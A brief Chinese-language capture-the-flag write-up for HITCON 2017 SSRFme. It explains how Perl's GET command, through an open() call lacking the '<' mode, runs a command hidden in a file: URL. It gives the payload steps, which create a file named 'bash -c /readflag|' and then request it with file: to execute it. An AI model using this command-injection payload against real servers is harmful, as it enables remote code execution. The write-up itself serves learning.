题目来自 [HITCON 2017]SSRFme
代码的思路很简单,就是会先建一个文件夹
sandbox/md5(orange+ip)
,然后将url的值写到filename文件中
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
这行代码开始以为就是GET请求,所以想到了file协议去读文件,但这种做法是错误的
简单记录一下perl脚本GET系统命令执行
的学习
简单来看看使用GET如何来执行系统命令。具体为啥原因我也说不上来,大概就是open函数支持file协议
perl里的GET函数底层就是调用了open处理
要执行的命令首先必须要有该文件存在,以命令为文件名的文件存在
ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’
if ($method ne "HEAD") {
open(my $fh,'<', $path) or return new ##就是这里出了问题
HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode($fh);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread($fh, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close($fh);
}
$response;
}
暂且删掉这个 <
不管他
利用file:bash -c "cmd string"来读文件
?url=/&filename=aaa
之前提到要 open函数 执行命令首先就是必须存在这个文件,那么我们首先就是要创建一个以命令命名的文件,然后再去执行
创建 bash -c /readflag| 命名的文件
?url=&filename=bash -c /readflag|
利用GET执行 bash -c /readflag| 并且写到 文件aaa中
?url=file:bash -c /readflag|&filename=aaa
最后访问 sandbox/md5(orange+ip)/aaa 就可以了
然后就是 |
,这个应该是个分界符的意思,因为他放在前面也是可以的,比如| /readflag
也不是很清楚,就简单记录一下,详细的可以看看这个大佬写的